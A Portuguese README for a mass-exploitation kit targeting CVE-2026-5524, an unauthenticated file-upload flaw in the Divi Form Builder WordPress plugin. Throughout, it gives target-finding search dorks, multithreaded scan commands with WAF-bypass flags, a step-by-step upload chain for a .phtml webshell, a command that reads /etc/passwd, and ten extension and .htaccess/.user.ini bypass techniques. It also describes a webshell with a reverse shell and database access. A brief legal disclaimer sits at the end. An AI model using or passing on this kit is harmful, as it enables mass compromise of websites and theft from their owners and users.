
Kit de exploração em massa para CVE-2026-5524, um RCE de upload de arquivo não autenticado no Divi Form Builder. Possui varredura multithread, técnicas de bypass de WAF, implantação de webshell personalizado e execução interativa de comandos.
| Campo | Valor |
|---|
| CVE | 2026-5524 |
| CVSS | 9.8 (Crítico) |
| Vector | AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H |
| Afetado | Divi Form Builder <= 5.1.8 |
| Corrigido | 5.1.9 |
| Tipo | Upload de Arquivo Não Autenticado para RCE |
| Pesquisador | 0xd4rk5id3 - EnvoraSec |
O plugin Divi Form Builder para WordPress contém uma vulnerabilidade de upload arbitrário de arquivos não autenticado. O manipulador do_image_upload() passa o parâmetro POST acceptFileTypes controlado pelo usuário diretamente para uma expressão regular usada para validar extensões de arquivo. Ao fornecer um valor como phtml, um atacante pode contornar a regra .htaccess do plugin que bloqueia apenas a extensão .php e fazer upload de um webshell com uma extensão executável por PHP (.phtml, .phar, .php5, .php7 e similares).
Uma vez que o arquivo é armazenado em /wp-content/uploads/de_fb_uploads/, o Apache o executa como PHP, concedendo ao atacante execução remota de código como o usuário do servidor web.
O problema foi corrigido no Divi Form Builder 5.1.9.
body="de_fb_obj" && body="fb_nonce"
http.html:"de_fb_obj" http.html:"fb_nonce"
inurl:"/wp-content/plugins/divi-form-builder/"
app:"WordPress" && body:"de_fb_obj"
services.http.response.body: "de_fb_obj"
Requisitos: Python 3.8 ou mais recente no Linux, macOS ou WSL.
git clone https://github.com/caterscam/CVE-2026-5524-PoC/
cd CVE-2026-5524-PoC
pip3 install -r requirements.txt
requirements.txt
requests>=2.28.0
urllib3>=1.26.0
python3 CVE-2026-5524.py -u https://target.com
python3 CVE-2026-5524.py -l targets.txt --shell-file bypass.phtml --aggressive --no-verify -o pwned.jsonl -t 20
Para alvos atrás de um WAF (NinjaFirewall, Wordfence, ModSecurity) ou com configuração Apache ou nginx endurecida.
python3 CVE-2026-5524.py -u https://target.com --shell-file bypass.phtml --aggressive --no-verify --debug
Após um upload bem-sucedido, o script pode executar imediatamente um comando ou abrir um shell interativo.
python3 CVE-2026-5524.py -u https://target.com --cmd "id; uname -a; cat /etc/passwd"
python3 CVE-2026-5524.py -u https://target.com --shell
| Flag | Descrição |
|---|---|
-u URL | URL do alvo único |
-l FILE | Arquivo contendo lista de alvos, uma URL por linha |
-t N | Número de threads simultâneas (padrão 10) |
--timeout N | Tempo limite da requisição em segundos (padrão 15) |
-o FILE | Salvar resultados em arquivo JSONL |
--proxy URL | Rotear tráfego através de proxy HTTP |
--nonce HASH | Usar um nonce fornecido manualmente, pulando a detecção automática |
--ext EXT | Forçar uma única extensão em vez da lista completa de bypass |
--shell | Entrar em shell RCE interativo ao obter sucesso (apenas alvo único) |
--cmd CMD | Executar um comando no alvo e depois sair |
--shell-file FILE | Fazer upload de um payload de shell personalizado em vez do embutido |
--no-verify | Pular a etapa de verificação de RCE pós-upload |
--strict-verify | Confirmar que a URL do shell retorna HTTP 200 para filtrar falsos positivos |
--user-ini | Fazer upload de um dropper .user.ini para ambientes PHP-FPM |
--htaccess | Fazer upload de um reativador .htaccess para ambientes Apache |
--aggressive | Ativar todas as técnicas de bypass disponíveis |
--null-byte | Incluir tentativas de byte nulo e extensão dupla |
--path-traversal | Tentar fazer upload para subdiretórios /uploads/YYYY/MM/ |
--debug | Imprimir respostas HTTP brutas para diagnóstico |
O manipulador vulnerável constrói uma regex a partir da entrada do usuário sem sanitização.
public function do_image_upload() {
$accepted = $_POST['acceptFileTypes'];
$pattern = '/\\.(' . $accepted . ')$/i';
if (preg_match($pattern, $filename)) {
move_uploaded_file($tmp, $dest);
}
}
Ao enviar acceptFileTypes=phtml, a regex resultante /\.(phtml)$/i corresponde a nomes de arquivo terminados em .phtml, mesmo que o arquivo .htaccess do próprio plugin bloqueie apenas a extensão .php. O Apache então executa o arquivo enviado como PHP, resultando em execução remota de código.
Rastreie uma página que incorpora um formulário Divi Form Builder (/, /contact, /quote, etc). Acrescente um parâmetro ?nocache=<random> para derrotar Varnish, WP Rocket e outros caches de página que serviriam um nonce desatualizado.
Extraia o valor fb_nonce do objeto JavaScript localizado:
de_fb_obj = {"fb_nonce":"<10 hex characters>", ...}
Envie um POST multipart para /wp-admin/admin-ajax.php com:
action=de_fb_image_upload
fb_nonce=<nonce>
acceptFileTypes=phtml
[email protected]
Leia a URL do arquivo da resposta JSON:
{"files":[{"name":"abc123.phtml","url":"https://target/wp-content/uploads/de_fb_uploads/abc123.phtml",...}]}
Solicite o shell com um comando codificado em base64:
curl "https://target/wp-content/uploads/de_fb_uploads/abc123.phtml?x=$(echo -n id | base64)"
| # | Técnica | Alvos |
|---|---|---|
| 1 | Extensões PHP alternativas .phtml, .phar, .php5, .php7, .php4, .pht, .shtml | Regra .htaccess do plugin que bloqueia apenas .php |
| 2 | Variação de maiúsculas/minúsculas .PHTML, .PHP5, .PhTmL | Assinaturas WAF que diferenciam maiúsculas/minúsculas (NinjaFirewall) |
| 3 | Extensão dupla .phtml.jpg, .php.jpg | Peculiaridades de negociação de conteúdo mod_mime do Apache |
| 4 | Byte nulo .php%00.jpg, .phtml%00.txt | Versões antigas do PHP (menos que 5.3.4) e certos parsers |
| 5 | Espaço ou ponto final .php , .php. | Windows IIS e versões antigas do Apache |
| 6 | Spoofing de Content-Type application/octet-stream | WAFs que se baseiam no cabeçalho Content-Type multipart |
| 7 | Fazer upload de um .htaccess real que reativa PHP para .gif, .png, .jpg, .txt, .html, etc. | Servidores Apache com AllowOverride All |
| 8 | Fazer upload de um .user.ini com auto_prepend_file | Ambientes PHP-FPM |
| 9 | Injeção de nome de arquivo através de manipulação de boundary multipart | Proxies e WAFs que reanalisam o corpo da requisição |
| 10 | Path traversal ../shell.phtml no nome do arquivo | Restrições de diretório do plugin |
O script tenta cada técnica em ordem de prioridade e, quando --aggressive está definido, tenta todas mesmo após o primeiro upload relatar sucesso.
| Componente | Tecnologia |
|---|---|
| Linguagem | Python 3.8+ |
| Cliente HTTP | requests |
| Manipulação TLS | urllib3 em modo inseguro para certificados autoassinados |
| Concorrência | concurrent.futures.ThreadPoolExecutor para varredura em massa |
| Parsing | re para extração de nonce, json para tratamento de resposta |
| Codificação | base64 para parâmetro de comando do webshell |
| CLI | argparse com 19 flags configuráveis |
| Componente | Tecnologia |
|---|---|
| Linguagem | PHP 7.0+ |
| Funções de execução | system(), shell_exec(), proc_open(), passthru(), popen() |
| Interface | Formulário HTML simples, sem framework JavaScript |
| Funcionalidades | Navegador de arquivos, execução de comando, acesso a banco de dados, reverse shell, autoinstalação de .htaccess e .user.ini |
| Tamanho | Aproximadamente 16 KB |
| Camadas de bypass | Seis caminhos de execução independentes mais payloads codificados |
cve-2026-5524/
|-- CVE-2026-5524.py Script principal de exploração
|-- bypass.phtml Webshell PHP multicamada de 16 KB
|-- htaccess_enable.phtml Dropper que escreve um .htaccess reativador
|-- user_ini.phtml Dropper que escreve um .user.ini para PHP-FPM
|-- targets.txt Exemplo de lista de alvos
|-- pwned.jsonl Gerado pela flag -o durante varreduras em massa
|-- requirements.txt Dependências Python
`-- README.md Este documento
+--------------------------------------------------+
| 1. Reconhecimento |
| GET /?nocache=<random> |
| Analisar fb_nonce de de_fb_obj |
+-------------------------+------------------------+
|
v
+--------------------------------------------------+
| 2. Criar exploit |
| POST /wp-admin/admin-ajax.php |
| action=de_fb_image_upload |
| acceptFileTypes=phtml |
| [email protected] |
+-------------------------+------------------------+
|
v
+--------------------------------------------------+
| 3. Servidor aceita e armazena arquivo |
| /uploads/de_fb_uploads/<random>.phtml |
+-------------------------+------------------------+
|
v
+--------------------------------------------------+
| 4. Executar |
| GET shell.phtml?x=base64(comando) |
| Execução remota de código alcançada |
+--------------------------------------------------+
Esta ferramenta é fornecida para fins educacionais e para uso durante testes de penetração autorizados. Exemplos de uso aceitável incluem:
O uso não autorizado contra sistemas que você não possui ou para os quais não possui permissão explícita por escrito para testar é ilegal em praticamente todas as jurisdições e é estritamente proibido. O autor não endossa nem assume responsabilidade pelo uso indevido deste código.
J'ai la permission et je suis autorisé à effectuer ce pentest. (Tenho permissão e estou autorizado a realizar este pentest.)
Leis de provável relevância incluem a UU ITE da Indonésia, o Computer Fraud and Abuse Act dos Estados Unidos, a Convenção sobre Cibercrime da União Europeia e legislação equivalente em outros lugares. Em caso de dúvida, obtenha autorização por escrito primeiro.
Apenas para uso educacional. Consulte a seção de aviso legal para os termos completos de uso.